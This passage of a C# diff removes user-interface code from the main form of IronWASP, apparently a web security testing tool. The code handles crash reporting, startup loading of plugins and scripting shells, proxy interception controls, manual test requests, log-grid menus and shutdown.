"\\ironwasp_error.txt"); } - catch { } - try { File.WriteAllText(Config.RootDir + "\\ironwasp_error.txt", e.Exception.Message + "\r\nStackTrace:\r\n" + e.Exception.StackTrace); } - catch { } - - Result = MessageBox.Show("Oops, Iron encountered an unexpected error and must close.\r\n\r\nYour project details are stored in the folder - " + IronDB.LogPath + "\r\n\r\nYou can choose to continue or restart the application(recommended).\r\n\r\nIMPORTANT:\r\nPlease help avoid this from occuring again by sending the following details(screenshot) to lava@ironwasp.org.\r\nAlternatively you can mail the file - " + Config.RootDir + "\\ironwasp_error.txt\r\n\r\nMessage: " + e.Exception.Message + "\r\nStackTrace:\r\n" + e.Exception.StackTrace, "Unexpected Error - Do you wish to continue running?(not recommended)", MessageBoxButtons.YesNo, MessageBoxIcon.Error); - } - finally - { - if (Result == DialogResult.No) - { - Environment.Exit(0); - } - } - } - - private static void Iron_UnhandledException(object sender, UnhandledExceptionEventArgs e) - { - try - { - Exception Exp = (Exception)e.ExceptionObject; - try { File.Delete(Config.RootDir + "\\ironwasp_error.txt"); } - catch { } - try { File.WriteAllText(Config.RootDir + "\\ironwasp_error.txt", Exp.Message + "\r\nStackTrace:\r\n" + Exp.StackTrace); } - catch { } - IronException.Report("Unhandled Exception", Exp.Message, Exp.StackTrace); - MessageBox.Show("Oops, Iron encountered an unexpected error and must close.\r\n\r\nYour project details are stored in the folder - " + IronDB.LogPath + "\r\n\r\nIMPORTANT:\r\nPlease help avoid this from occuring again by sending the following details(screenshot) to lava@ironwasp.org.\r\nAlternatively you can mail the file - " + Config.RootDir + "\\ironwasp_error.txt\r\n\r\nMessage: " + Exp.Message + "\r\nStackTrace:\r\n" + Exp.StackTrace, "Unexpected Error Occurred"); - } - finally - { - Environment.Exit(0); - } - } - - internal bool CanShutdown = false; - - private void Main_Load(object sender, EventArgs e) - { - IronUI.LF = new LoadForm(); - Thread T = new Thread(new ThreadStart(Splash)); - T.Start(); - IronUI.SetUI(this); - - IronUI.LF.ShowLoadMessage("Loading....."); - try - { - IronUpdater.Start(); - - //Set the ID column as int for proper sorting - ProxyLogGrid.Columns[0].ValueType = typeof(System.Int32); - - //Initialise default nodes in the tree - IronUI.BuildIronTree(); - } - catch - { - - } - - - IronUI.LF.ShowLoadMessage("Creating Project Database...."); - try - { - Config.SetRootDir(); - IronDB.InitialiseLogDB(); - } - catch(Exception Exp) - { - IronUI.LF.ShowLoadMessage("Error Creating Project Database - " + Exp.Message); - } - - IronUI.LF.ShowLoadMessage("Reading Stored Configuration Information...."); - try - { - IronDB.UpdateConfigFromDB(); - Config.ReadUserAgentsList(); - CreateImageList(); - } - catch (Exception Exp) - { - IronUI.LF.ShowLoadMessage("Error Reading Stored Configuration Information - " + Exp.Message); - } - - IronUI.LF.ShowLoadMessage("Applying Previous Configuration...."); - try - { - IronUI.UpdateUIFromConfig(); - //IronJint.ShowDefaultTaintConfig(); - } - catch (Exception Exp) - { - IronUI.LF.ShowLoadMessage("Error Applying Previous Configuration - " + Exp.Message); - } - - IronUI.LF.ShowLoadMessage("Creating API Documentation Trees...."); - try - { - APIDoc.Initialise(); - } - catch (Exception Exp) - { - IronException.Report("Error creating API Docs", Exp.Message, Exp.StackTrace); - } - //Initialise the Scripting Engines and compile the plug-ins - IronUI.LF.ShowLoadMessage("Loading All Plugins...."); - try - { - PluginEngine.StartUp = true; - PluginEngine.InitialiseAllPlugins(); - PluginEngine.StartUp = false; - - } - catch (Exception Exp) - { - PluginEngine.StartUp = false; - IronException.Report("Error initialising Plugins", Exp.Message, Exp.StackTrace); - } - - IronUI.LF.ShowLoadMessage("Reading available Modules...."); - try - { - try - { - string ModulesDir = string.Format("{0}\\modules", Config.RootDir); - if (!Directory.Exists(ModulesDir)) - Directory.CreateDirectory(ModulesDir); - } - catch { } - Module.ReadModulesXml(); - PopulateModuleMenus(); - } - catch (Exception Exp) - { - IronException.Report("Error reading available Modules", Exp.Message, Exp.StackTrace); - } - try - { - IronUI.BuildPluginTree(); - } - catch (Exception Exp) { IronException.Report("Error Building PluginTree", Exp); } - IronUI.LF.ShowLoadMessage("Starting Internal Analyzers...."); - try - { - PassiveChecker.Start(); - } - catch (Exception Exp) - { - IronException.Report("Error Internal Analyzers", Exp.Message, Exp.StackTrace); - } - - - IronUI.LF.ShowLoadMessage("Preparing the Scripting Shell...."); - try - { - IronScripting.InitialiseScriptingEnvironment(); - IronUI.InitialiseAllScriptEditors(); - try - { - ShowSampleScriptedInterceptionScript(); - ShowSampleScriptedSendScript(); - } - catch { } - } - catch (Exception Exp) - { - IronUI.LF.ShowLoadMessage("Error Preparing the Scripting Shell - " + Exp.Message); - IronException.Report("Error Preparing the Scripting Shell", Exp.Message, Exp.StackTrace); - } - - - //IronUI.LF.ShowLoadMessage("Starting the Proxy"); - //IronProxy.Start(); - - IronUI.LF.ShowLoadMessage("Done!"); - IronUI.LF.ShowLoadMessage("0"); - - IronUI.LICF = new LoadInitialConfigurationForm(); - IronUI.LICF.ShowDialog(); - - if (CanShutdown) - { - this.ShutDown(); - Application.Exit(); - } - - try - { - CheckUpdate.CheckForUpdates(); - } - catch (Exception Exp) - { - IronException.Report("Error Starting New Version Check", Exp.Message, Exp.StackTrace); - } - - SetUiComponentsToInitialState(); - this.Activate(); - PluginEditorInTE.Document.ReadOnly = true; - CheckDotNetVersion(); - } - - static void Splash() - { - IronUI.LF.LoadLogoPB.Select(); - IronUI.LF.ShowDialog(); - } - - void CheckDotNetVersion() - { - bool OldVersion = false; - try - { - string[] VersionParts = Environment.Version.ToString().Split(new char[] { '.' }); - if (Int32.Parse(VersionParts[2]) < 50000) - { - OldVersion = true; - } - if (Int32.Parse(VersionParts[3]) < 3000) - { - OldVersion = true; - } - } - catch - {} - if (OldVersion) - { - MessageBox.Show("You are running an older version of .NET 2.0 that does not support all features of IronWASP. Please install .NET 2.0 SP2, it can be downloaded from - https://www.microsoft.com/en-us/download/details.aspx?id=1639", "Dependency Alert!!!"); - } - } - - void SetUiComponentsToInitialState() - { - ScanTopPanel.Visible = true; - ScanDisplayPanel.Visible = false; - ScanJobsBaseSplit.SplitterDistance = 62; - - //TestResponseSplit.SplitterDistance = 30; - ScanJobsTopSplit.SplitterDistance = 470; - ScanJobsBottomSplit.SplitterDistance = ScanJobsBottomSplit.Height - 52; - - ASInjectHeaderLbl.Location = new Point(13, ASInjectHeaderLbl.Location.Y); - ASRequestScanAllCB.Location = new Point(13, ASRequestScanAllCB.Location.Y); - ASRequestScanURLCB.Location = new Point(13, ASRequestScanURLCB.Location.Y); - ASRequestScanQueryCB.Location = new Point(13, ASRequestScanQueryCB.Location.Y); - ASRequestScanBodyCB.Location = new Point(13, ASRequestScanBodyCB.Location.Y); - ASRequestScanCookieCB.Location = new Point(13, ASRequestScanCookieCB.Location.Y); - ASRequestScanHeadersCB.Location = new Point(13, ASRequestScanHeadersCB.Location.Y); - ASRequestScanParameterNamesCB.Location = new Point(13, ASRequestScanParameterNamesCB.Location.Y); - } - - void PopulateModuleMenus() - { - Dictionary> MenuItems = new Dictionary>(); - foreach(Module M in Module.ModuleListFromXml) - { - if (!MenuItems.ContainsKey(M.Category)) - MenuItems[M.Category] = new List(); - MenuItems[M.Category].Add(M); - } - foreach (string Category in MenuItems.Keys) - { - ToolStripMenuItem Item = (ToolStripMenuItem)modulesToolStripMenuItem.DropDownItems.Add(Category); - bool WorksOnFinding = false; - bool WorksOnUrl = false; - bool WorksOnSession = false; - foreach (Module M in MenuItems[Category]) - { - Item.DropDownItems.Add(M.DisplayName).Click += RunModuleMenuItem_Click; - if (M.WorksOnFinding) WorksOnFinding = true; - if (M.WorksOnUrl) WorksOnUrl = true; - if (M.WorksOnSession) WorksOnSession = true; - } - if (WorksOnFinding) - { - Item = (ToolStripMenuItem)RunModulesOnFindingToolStripMenuItem.DropDownItems.Add(Category); - foreach (Module M in MenuItems[Category]) - { - if (M.WorksOnFinding) Item.DropDownItems.Add(M.DisplayName).Click += RunModuleOnFindingMenuItem_Click; - } - } - if (WorksOnUrl) - { - Item = (ToolStripMenuItem)RunModulesOnUrlToolStripMenuItem.DropDownItems.Add(Category); - foreach (Module M in MenuItems[Category]) - { - if (M.WorksOnUrl) Item.DropDownItems.Add(M.DisplayName).Click += RunModuleOnUrlMenuItem_Click; - } - } - if (WorksOnSession) - { - Item = (ToolStripMenuItem)RunModulesOnRequestResponseToolStripMenuItem.DropDownItems.Add(Category); - foreach (Module M in MenuItems[Category]) - { - if (M.WorksOnSession) Item.DropDownItems.Add(M.DisplayName).Click += RunModuleOnSessionMenuItem_Click; - } - } - } - } - - internal void PopulateRecentOnSessionModuleMenus(string[] RecentModules) - { - while (LogMenu.Items.Count > 6) - { - LogMenu.Items.RemoveAt(LogMenu.Items.Count -1); - } - foreach (string DisplayName in RecentModules) - { - LogMenu.Items.Add(DisplayName).Click += RunModuleOnSessionMenuItem_Click; - } - } - - private void RunModuleMenuItem_Click(object sender, EventArgs e) - { - //MessageBox.Show(sender.ToString() + e.ToString()); - Module.StartModule((sender as ToolStripMenuItem).Text); - } - - private void RunModuleOnUrlMenuItem_Click(object sender, EventArgs e) - { - - } - - private void RunModuleOnFindingMenuItem_Click(object sender, EventArgs e) - { - //MessageBox.Show(sender.ToString() + e.ToString()); - int FindingId = IronUI.GetFindingIdFromIronTree(); - try - { - Module.StartModuleOnFinding((sender as ToolStripMenuItem).Text, FindingId); - } - catch (Exception Exp) { IronException.Report("Unable to run Module on Finding", Exp); } - //IronUI.OpenEncodeDecodeWindow(); - } - private void RunModuleOnSessionMenuItem_Click(object sender, EventArgs e) - { - //MessageBox.Show(sender.ToString() + e.ToString()); - try - { - string SelectedDisplayName = (sender as ToolStripMenuItem).Text; - bool AlreadyExists = false; - foreach (string DisplayName in Module.RecentOnSessionModules) - { - if (DisplayName.Equals(SelectedDisplayName)) - { - AlreadyExists = true; - break; - } - } - if (!AlreadyExists) - { - if (Module.RecentOnSessionModules.Count >= 3) - { - Module.RecentOnSessionModules.Dequeue(); - } - Module.RecentOnSessionModules.Enqueue(SelectedDisplayName); - } - PopulateRecentOnSessionModuleMenus(Module.RecentOnSessionModules.ToArray()); - Module.StartModuleOnSession(SelectedDisplayName, GetSource(), Int32.Parse(GetID())); - } - catch (Exception Exp) { IronException.Report("Unable to run Module on Session", Exp); } - //IronUI.OpenEncodeDecodeWindow(); - } - - - private void ProxySendBtn_Click(object sender, EventArgs e) - { - this.TopMost = false; - if (IronProxy.CurrentSession == null) return; - if (IronProxy.CurrentSession.FiddlerSession == null) return; - if (IronProxy.CurrentSession.FiddlerSession.state == Fiddler.SessionStates.HandTamperRequest) - { - try - { - IronUI.ResetProxyException(); - Request UpdatedRequest = ProxyRequestView.GetRequest(); - if (UpdatedRequest == null) throw new Exception("Cannot forward invalid request"); - if(IronProxy.RequestChanged) - IronProxy.UpdateCurrentSessionWithNewRequest(UpdatedRequest); - //IronUI.HandleAnyChangesInRequest(); - } - catch(Exception Exp) - { - IronUI.ShowProxyException(Exp.Message); - return; - } - } - else if (IronProxy.CurrentSession.FiddlerSession.state == Fiddler.SessionStates.HandTamperResponse) - { - try - { - IronUI.ResetProxyException(); - Response UpdatedResponse = ProxyResponseView.GetResponse(); - if (UpdatedResponse == null) throw new Exception("Cannot forward invalid response"); - if (IronProxy.ResponseChanged) - IronProxy.UpdateCurrentSessionWithNewResponse(UpdatedResponse); - //IronUI.HandleAnyChangesInResponse(); - } - catch(Exception Exp) - { - IronUI.ShowProxyException(Exp.Message); - return; - } - } - else - { - return; - } - IronProxy.ForwardInterceptedMessage(); - ProxyBaseSplit.Panel1.BackColor = Color.White; - ProxySendBtn.Enabled = false; - ProxyDropBtn.Enabled = false; - string SessionID = ""; - try - { - lock (IronProxy.SessionsQ) - { - - SessionID = IronProxy.SessionsQ.Dequeue(); - } - } - catch (InvalidOperationException) - { - return; - } - catch(Exception Exp) - { - IronException.Report("Error Dequeing from Proxy Interception Queue", Exp); - } - - if (SessionID.Length > 0) - { - Session IntSession; - lock(IronProxy.InterceptedSessions) - { - IntSession = IronProxy.InterceptedSessions[SessionID]; - } - if (IntSession != null) IronUI.FillInterceptorTab(IntSession); - } - } - - private void InterceptRequestCB_CheckedChanged(object sender, EventArgs e) - { - if(IronProxy.InterceptRequest) - { - IronProxy.InterceptRequest = false; - if (IronProxy.CurrentSession != null) - { - if (IronProxy.CurrentSession.FiddlerSession.state == Fiddler.SessionStates.HandTamperRequest) - { - try - { - IronProxy.ForwardInterceptedMessage(); - } - catch (Exception Exp) - { - IronException.Report("Error forwarding Request from Proxy", Exp.Message, Exp.StackTrace); - } - } - } - IronProxy.ClearRequestQueue(); - } - else - { - IronProxy.InterceptRequest = true; - } - } - - private void InterceptResponseCB_CheckedChanged(object sender, EventArgs e) - { - if (IronProxy.InterceptResponse) - { - IronProxy.InterceptResponse = false; - if (IronProxy.CurrentSession != null) - { - if (IronProxy.CurrentSession.FiddlerSession.state == Fiddler.SessionStates.HandTamperResponse) - { - try - { - IronProxy.ForwardInterceptedMessage(); - } - catch (Exception Exp) - { - IronException.Report("Error forwarding Response from Proxy", Exp.Message, Exp.StackTrace); - } - } - } - IronProxy.ClearResponseQueue(); - } - else - { - IronProxy.InterceptResponse = true; - } - } - - private void InteractiveShellIn_KeyPress(object sender, KeyPressEventArgs e) - { - if (e.KeyChar == (Char)Keys.Enter) - { - e.Handled = true; - } - } - - private void InteractiveShellIn_KeyUp(object sender, KeyEventArgs e) - { - if (this.InteractiveShellIn.ReadOnly) return; - if (Config.BlinkPrompt) - { - EndOfShellPromptBlink(); - } - - if (e.KeyCode == Keys.Up) - { - string CommandFromHistory = IronScripting.GetPreviousCommandFromHistory(); - if (CommandFromHistory.Length > 0) - { - this.InteractiveShellIn.Text = CommandFromHistory; - } - else - { - //this.InteractiveShellIn.Text = this.InteractiveShellIn.Text.Replace("\r\n", ""); - this.InteractiveShellIn.Text = this.InteractiveShellIn.Text; - } - } - else if (e.KeyCode == Keys.Down) - { - string CommandFromHistory = IronScripting.GetNextCommandFromHistory(); - if (CommandFromHistory.Length > 0) - { - this.InteractiveShellIn.Text = CommandFromHistory; - } - else - { - //this.InteractiveShellIn.Text = this.InteractiveShellIn.Text.Replace("\r\n", ""); - this.InteractiveShellIn.Text = this.InteractiveShellIn.Text; - } - } - else if (e.KeyCode == Keys.Enter) - { - IronUI.FreezeInteractiveShellUI(); - //string Command = this.InteractiveShellIn.Text.Replace("\r\n", ""); - string Command = this.InteractiveShellIn.Text; - if(InteractiveShellPythonRB.Checked) - { - if (InteractiveShellPromptBox.Text.Contains(">>")) - { - Command = Command.TrimStart();//Remove whitespace before Python commands from the interactive shell when indentation is not required. This is a common newbie mistake. - } - } - this.InteractiveShellIn.Text = ""; - if (Command.Length > 0) - { - IronScripting.AddCommandToHistory(Command); - } - if (IronScripting.MoreExpected) - { - IronUI.UpdateInteractiveShellOut(Command + Environment.NewLine); - } - else - { - IronUI.UpdateInteractiveShellOut(IronScripting.ShellPrompt + Command + Environment.NewLine); - if (Command.Length == 0) - { - IronUI.ActivateinteractiveShellUI(); - return; - } - } - try - { - IronScripting.QueueInteractiveShellInputForExecution(Command); - } - catch (Exception Exp) - { - IronException.Report("Error executing command in Scripting Shell", Exp.Message, Exp.StackTrace); - IronUI.ActivateinteractiveShellUI(); - } - } - } - - private void InteractiveShellPythonRB_CheckedChanged(object sender, EventArgs e) - { - IronUI.UpdateShellInPrompt(">>>>"); - if (InteractiveShellPythonRB.Checked) - { - IronScripting.ChangeLanguageToPython(); - } - Directory.SetCurrentDirectory(Config.RootDir); - MultiLineShellInTE.SetHighlighting("Python"); - } - - private void InteractiveShellRubyRB_CheckedChanged(object sender, EventArgs e) - { - IronUI.UpdateShellInPrompt("irb>"); - if (InteractiveShellRubyRB.Checked) - { - IronScripting.ChangeLanguageToRuby(); - } - Directory.SetCurrentDirectory(Config.RootDir); - MultiLineShellInTE.SetHighlighting("Ruby"); - } - - private void LogMenu_Opening(object sender, CancelEventArgs e) - { - IronLog.SourceControl = LogMenu.SourceControl.Name; - bool RowsSelected = true; - bool ResponseAvailable = true; - switch (IronLog.SourceControl) - { - case("ProxyLogGrid"): - if (ProxyLogGrid.SelectedCells.Count < 1 || ProxyLogGrid.SelectedCells[0].Value == null) RowsSelected = false; - if (RowsSelected) - { - if (ProxyLogGrid.SelectedCells[7].Value == null) ResponseAvailable = false; - } - break; - case ("ShellLogGrid"): - if (ShellLogGrid.SelectedCells.Count < 1 || ShellLogGrid.SelectedCells[0].Value == null) RowsSelected = false; - if (RowsSelected) - { - if (ShellLogGrid.SelectedCells[7].Value == null) ResponseAvailable = false; - } - break; - case ("TestLogGrid"): - if (TestLogGrid.SelectedCells.Count < 1 || TestLogGrid.SelectedCells[0].Value == null) RowsSelected = false; - if (RowsSelected) - { - if (TestLogGrid.SelectedCells[7].Value == null) ResponseAvailable = false; - } - break; - case ("ProbeLogGrid"): - if (ProbeLogGrid.SelectedCells.Count < 1 || ProbeLogGrid.SelectedCells[0].Value == null) RowsSelected = false; - if (RowsSelected) - { - if (ProbeLogGrid.SelectedCells[7].Value == null) ResponseAvailable = false; - } - break; - case ("ScanLogGrid"): - if (ScanLogGrid.SelectedCells.Count < 1 || ScanLogGrid.SelectedCells[0].Value == null) RowsSelected = false; - if (RowsSelected) - { - if (ScanLogGrid.SelectedCells[8].Value == null) ResponseAvailable = false; - } - break; - case ("SiteMapLogGrid"): - if (SiteMapLogGrid.SelectedCells.Count < 1 || SiteMapLogGrid.SelectedCells[0].Value == null) RowsSelected = false; - if (RowsSelected) - { - if (SiteMapLogGrid.SelectedCells[8].Value == null) ResponseAvailable = false; - } - break; - case ("ResultsTriggersGrid"): - if (ResultsTriggersGrid.SelectedCells.Count < 1 || ResultsTriggersGrid.SelectedCells[0].Value == null) RowsSelected = false; - break; - case ("TestGroupLogGrid"): - if (TestGroupLogGrid.SelectedCells.Count < 1 || TestGroupLogGrid.SelectedCells[0].Value == null) RowsSelected = false; - if (RowsSelected) - { - if (TestGroupLogGrid.SelectedCells[6].Value == null) ResponseAvailable = false; - } - break; - case ("OtherLogGrid"): - if (OtherLogGrid.SelectedCells.Count < 1 || OtherLogGrid.SelectedCells[0].Value == null) RowsSelected = false; - if (RowsSelected) - { - if (OtherLogGrid.SelectedCells[6].Value == null) ResponseAvailable = false; - } - break; - case("LogOptionsBtn"): - if (IronLog.CurrentSession == null) - RowsSelected = false; - else if (IronLog.CurrentSession.Response == null) - ResponseAvailable = false; - break; - case("ProxyOptionsBtn"): - if (IronProxy.CurrentSession == null) - RowsSelected = false; - else if (IronProxy.CurrentSession.Response == null) - ResponseAvailable = false; - break; - } - - this.SelectForManualTestingToolStripMenuItem.Enabled = RowsSelected; - this.SelectForAutomatedScanningToolStripMenuItem.Enabled = RowsSelected; - this.CopyRequestToolStripMenuItem.Enabled = RowsSelected; - this.CopyResponseToolStripMenuItem.Enabled = RowsSelected; - this.RunModulesOnRequestResponseToolStripMenuItem.Enabled = RowsSelected; - this.SelectResponseForJavaScriptTestingToolStripMenuItem.Enabled = RowsSelected && ResponseAvailable;// && JSTaintTraceControlBtn.Text.Equals("Start Taint Trace"); - } - - private void MTSendBtn_Click(object sender, EventArgs e) - { - try - { - IronUI.ResetMTExceptionFields(); - ManualTesting.CurrentRequest = TestRequestView.GetRequest(); - if (ManualTesting.CurrentRequest == null) throw new Exception("Cannot sent invalid request"); - //IronUI.HandleAnyChangesInMTRequest(); - } - catch(Exception Exp) - { - IronUI.ShowMTException(Exp.Message); - return; - } - if (ManualTesting.CurrentRequest == null) - { - IronUI.ShowMTException("Invalid Request"); - return; - } - if (!IronProxy.ProxyRunning) - { - IronUI.ShowMTException("Unable to send Request because IronWASP Proxy is not running. Start the proxy to fix this problem."); - return; - } - try - { - IronUI.ResetMTExceptionFields(); - ManualTesting.ResetChangedStatus(); - ManualTesting.SendRequest(); - IronUI.StartMTSend(ManualTesting.CurrentRequestID); - } - catch(Exception Exp) - { - IronException.Report("Unable to Send 'Manual Testing' Request", Exp.Message, Exp.StackTrace); - IronUI.ShowMTException("Error sending Request"); - IronUI.EndMTSend(true); - } - } - - - private void MTLogGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (TestLogGrid.SelectedCells.Count < 1 || TestLogGrid.SelectedCells[0].Value == null || TestLogGrid.SelectedRows.Count == 0) - { - return; - } - IronLog.ShowLog(RequestSource.Test, TestLogGrid.SelectedCells[0].Value.ToString(), TestLogGrid.SelectedRows[0].Index, false); - } - - private void LogGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ProxyLogGrid.SelectedCells.Count < 1 || ProxyLogGrid.SelectedCells[0].Value == null || ProxyLogGrid.SelectedRows.Count == 0) - { - return; - } - IronLog.ShowLog(RequestSource.Proxy, ProxyLogGrid.SelectedCells[0].Value.ToString(), ProxyLogGrid.SelectedRows[0].Index, false); - } - - private void Main_FormClosing(object sender, FormClosingEventArgs e) - { - if (!CanShutdown) - { - if (IronUI.IsCloseFormOpen()) - { - IronUI.CF.Activate(); - } - else - { - IronUI.CF = new CloseForm(); - IronUI.CF.Show(); - } - e.Cancel = true; - } - } - - internal void ShutDown() - { - CanShutdown = true; - try - { - //ScanManager.Stop(); - ScanManager.DoStop(); - } - catch { } - try - { - PassiveChecker.Stop(); - } - catch { } - //try - //{ - // Analyzer.Stop(); - //} - //catch { } - try - { - IronScripting.StopExecutor(); - } - catch { } - try - { - Fiddler.FiddlerApplication.Shutdown(); - } - catch { } - try - { - IronUpdater.Stop(); - } - catch { } - try - { - foreach (int ScanID in Scanner.ScanThreads.Keys) - { - try - { - Scanner.ScanThreads[ScanID].Abort(); - } - catch { } - } - } - catch { } - try - { - CheckUpdate.StopUpdateCheck(); - }catch{} - try - { - IronDB.CommandsLogFile.Close(); - } - catch { } - } - - //private void MTIsSSLCB_CheckedChanged(object sender, EventArgs e) - //{ - // ManualTesting.CurrentRequestIsSSL = this.MTIsSSLCB.Checked; - //} - - private void ScriptingShellPythonAPITree_AfterSelect(object sender, TreeViewEventArgs e) - { - this.ShellAPIDetailsRTB.Rtf = APIDoc.GetPyDecription(e.Node); - } - - private void PluginEditorPythonAPITree_AfterSelect(object sender, TreeViewEventArgs e) - { - this.PluginEditorAPIDetailsRTB.Rtf = APIDoc.GetPyDecription(e.Node); - } - - private void IronTree_AfterSelect(object sender, TreeViewEventArgs e) - { - //if (e.Node == null) return; - //if ((e.Node.Level > 5) || (e.Node.Level == 5 && (e.Node.Parent.Parent.Parent.Parent.Index == 4)) || (e.Node.Level == 4 && (e.Node.Parent.Parent.Parent.Index == 4)) || (e.Node.Level == 3 && (e.Node.Parent.Parent.Index == 4)) || (e.Node.Level == 2 && (e.Node.Parent.Index == 4))) - //{ - // List UrlPaths = new List(); - // string Query = ""; - // TreeNode SiteMapNode = e.Node; - // if (SiteMapNode.Text.StartsWith("?")) - // { - // Query = SiteMapNode.Text; - // SiteMapNode = SiteMapNode.Parent; - // } - // while(SiteMapNode.Level > 2) - // { - // UrlPaths.Add(SiteMapNode.Text); - // SiteMapNode = SiteMapNode.Parent; - // } - // UrlPaths.Reverse(); - // StringBuilder UrlPathBuilder = new StringBuilder(); - // foreach (string Path in UrlPaths) - // { - // UrlPathBuilder.Append("/"); UrlPathBuilder.Append(Path); - // } - // string Host = SiteMapNode.Text; - // string Url = UrlPathBuilder.ToString() + Query; - // if (Url == "//") Url = "/"; - // IronUI.UpdateResultsTab(Host, Url); - // return; - //} - Request SelectedUrl = IronUI.GetSelectedUrlFromSiteMap(); - if (SelectedUrl != null) - { - IronUI.UpdateResultsTab(SelectedUrl); - return; - } - - if (IronUI.IsFindingsNodeSelected()) - { - //PluginResult.CurrentPluginResult = IronDB.GetPluginResultFromDB(Int32.Parse(e.Node.Name)); - Finding.CurrentPluginResult = IronDB.GetPluginResultFromDB(IronUI.GetFindingIdFromIronTree()); - IronUI.UpdateResultsTab(Finding.CurrentPluginResult); - } - //if (e.Node.Level == 4 && (e.Node.Parent.Parent.Parent.Index == 1 || e.Node.Parent.Parent.Parent.Index == 2)) - //{ - // PluginResult.CurrentPluginResult = IronDB.GetPluginResultFromDB(Int32.Parse(e.Node.Name)); - // IronUI.UpdateResultsTab(PluginResult.CurrentPluginResult); - //} - //else if (e.Node.Level == 5 && e.Node.Parent.Parent.Parent.Parent.Index == 0) - //{ - // PluginResult.CurrentPluginResult = IronDB.GetPluginResultFromDB(Int32.Parse(e.Node.Name)); - // IronUI.UpdateResultsTab(PluginResult.CurrentPluginResult); - //} - //else if (e.Node.Level == 2 && e.Node.Parent.Index == 3) - else if (IronUI.IsExceptionsNodeSelected()) - { - IronException IrEx = IronDB.GetException(Int32.Parse(e.Node.Name)); - IronUI.UpdateResultsTab(IrEx); - } - this.SiteMapLogGrid.Rows.Clear(); - } - - private void InteractiveShellCtrlCBtn_Click(object sender, EventArgs e) - { - IronScripting.StopExecutor(); - IronUI.UpdateShellInPrompt(IronScripting.ShellPrompt); - IronUI.ActivateinteractiveShellUI(); - if (ScriptingShellTabs.SelectedIndex == 1) - { - MultiLineShellExecuteBtn.Visible = true; - } - else - { - MultiLineShellExecuteBtn.Visible = false; - } - } - - private void ShellLogGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ShellLogGrid.SelectedCells.Count < 1 || ShellLogGrid.SelectedCells[0].Value == null || ShellLogGrid.SelectedRows.Count == 0) - { - return; - } - IronLog.ShowLog(RequestSource.Shell, ShellLogGrid.SelectedCells[0].Value.ToString(), ShellLogGrid.SelectedRows[0].Index, false); - return; - } - - private void ScriptingShellRubyAPITree_AfterSelect(object sender, TreeViewEventArgs e) - { - this.ShellAPIDetailsRTB.Rtf = APIDoc.GetRbDecription(e.Node); - } - - private void PluginEditorRubyAPITree_AfterSelect(object sender, TreeViewEventArgs e) - { - this.PluginEditorAPIDetailsRTB.Rtf = APIDoc.GetRbDecription(e.Node); - } - - private void CustomSendPythonRB_CheckedChanged(object sender, EventArgs e) - { - if (CustomSendPythonRB.Checked) - { - this.ShowScriptedSendTemplateLL.Text = "Show sample Python script"; - this.CustomSendTopRtb.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue255;\red25\green25\blue112;} \cf1 def \cf0 \cf2 \b1 ScriptedSend \b0 \cf0 (req):"; - this.CustomSendBottomRtb.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue128;} \cf1 return \cf0 res"; - this.CustomSendActivateCB.Checked = false; - this.MTScriptedSendBtn.Enabled = false; - Directory.SetCurrentDirectory(Config.RootDir); - CustomSendTE.SetHighlighting("Python"); - } - } - - private void CustomSendRubyRB_CheckedChanged(object sender, EventArgs e) - { - if (CustomSendRubyRB.Checked) - { - this.ShowScriptedSendTemplateLL.Text = "Show sample Ruby script"; - this.CustomSendTopRtb.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue255;\red25\green25\blue112;} \cf1 def \cf0 \cf2 \b1 scripted_send \b0 \cf0 (req)"; - this.CustomSendBottomRtb.Rtf = @"{\rtf1{\colortbl ;\red0\green0\blue128;\red0\green0\blue255;} \cf1 return \cf0 res \par \cf2 end \cf0"; - this.CustomSendActivateCB.Checked = false; - this.MTScriptedSendBtn.Enabled = false; - Directory.SetCurrentDirectory(Config.RootDir); - CustomSendTE.SetHighlighting("Ruby"); - } - } - - private void MTScriptedSendBtn_Click(object sender, EventArgs e) - { - try - { - IronUI.ResetMTExceptionFields(); - ManualTesting.CurrentRequest = TestRequestView.GetRequest(); - if (ManualTesting.CurrentRequest == null) throw new Exception("Cannot sent invalid request"); - //IronUI.HandleAnyChangesInMTRequest(); - } - catch (Exception Exp) - { - IronUI.ShowMTException(Exp.Message); - return; - } - if (ManualTesting.CurrentRequest == null) - { - IronUI.ShowMTException("Invalid Request"); - return; - } - try - { - IronUI.ResetMTExceptionFields(); - ManualTesting.ResetChangedStatus(); - //ManualTesting.CurrentRequest.SSL = MTIsSSLCB.Checked; - ManualTesting.ScriptedSend(); - IronUI.StartMTSend(ManualTesting.CurrentRequestID); - } - catch (Exception Exp) - { - IronException.Report("Unable to Send 'Manual Testing' Request", Exp.Message, Exp.StackTrace); - IronUI.ShowMTException("Error sending Request"); - IronUI.EndMTSend(true); - } - } - - internal void CustomSendTE_KeyUp(object sender, KeyEventArgs e) - { - if (e.KeyData == Keys.Up || e.KeyData == Keys.Down || e.KeyData == Keys.Left || e.KeyData == Keys.Right || e.KeyData == Keys.PageUp || e.KeyData == Keys.PageDown || e.KeyData == Keys.Home || e.KeyData == Keys.End || e.KeyData == Keys.CapsLock || e.KeyData == Keys.LWin || e.KeyData == Keys.RWin) - { - return; - } - if (this.CustomSendActivateCB.Checked) - { - this.CustomSendActivateCB.Checked = false; - } - IronUI.ResetScriptedSendScriptExceptionFields(); - if(this.MTScriptedSendBtn.Enabled) - { - this.MTScriptedSendBtn.Enabled = false; - } - if (ManualTesting.ScriptedSendEnabled) - { - ManualTesting.ScriptedSendEnabled = false; - } - } - - private void MTStoredRequestBtn_Click(object sender, EventArgs e) - { - if (ManualTesting.HasStoredRequest()) - { - try - { - IronUI.UpdateManualTestingRequest(ManualTesting.GetStoredRequest()); - } - catch(Exception Exp) - { - IronException.Report("Error displaying 'Stored Request'", Exp.Message, Exp.StackTrace); - IronUI.ShowMTException("Unable to display 'Stored Request'"); - } - } - this.MTStoredRequestBtn.Enabled = ManualTesting.HasStoredRequest(); - } - - private void SelectForAutomatedScanningToolStripMenuItem_Click(object sender, EventArgs e) - { - IronLog.MarkForScanning(GetSource(), GetID()); - } - - private string GetSource() - { - switch (IronLog.SourceControl) - { - case ("ProxyLogGrid"): - return RequestSource.Proxy; - case ("ShellLogGrid"): - return RequestSource.Shell; - case ("TestLogGrid"): - return RequestSource.Test; - case 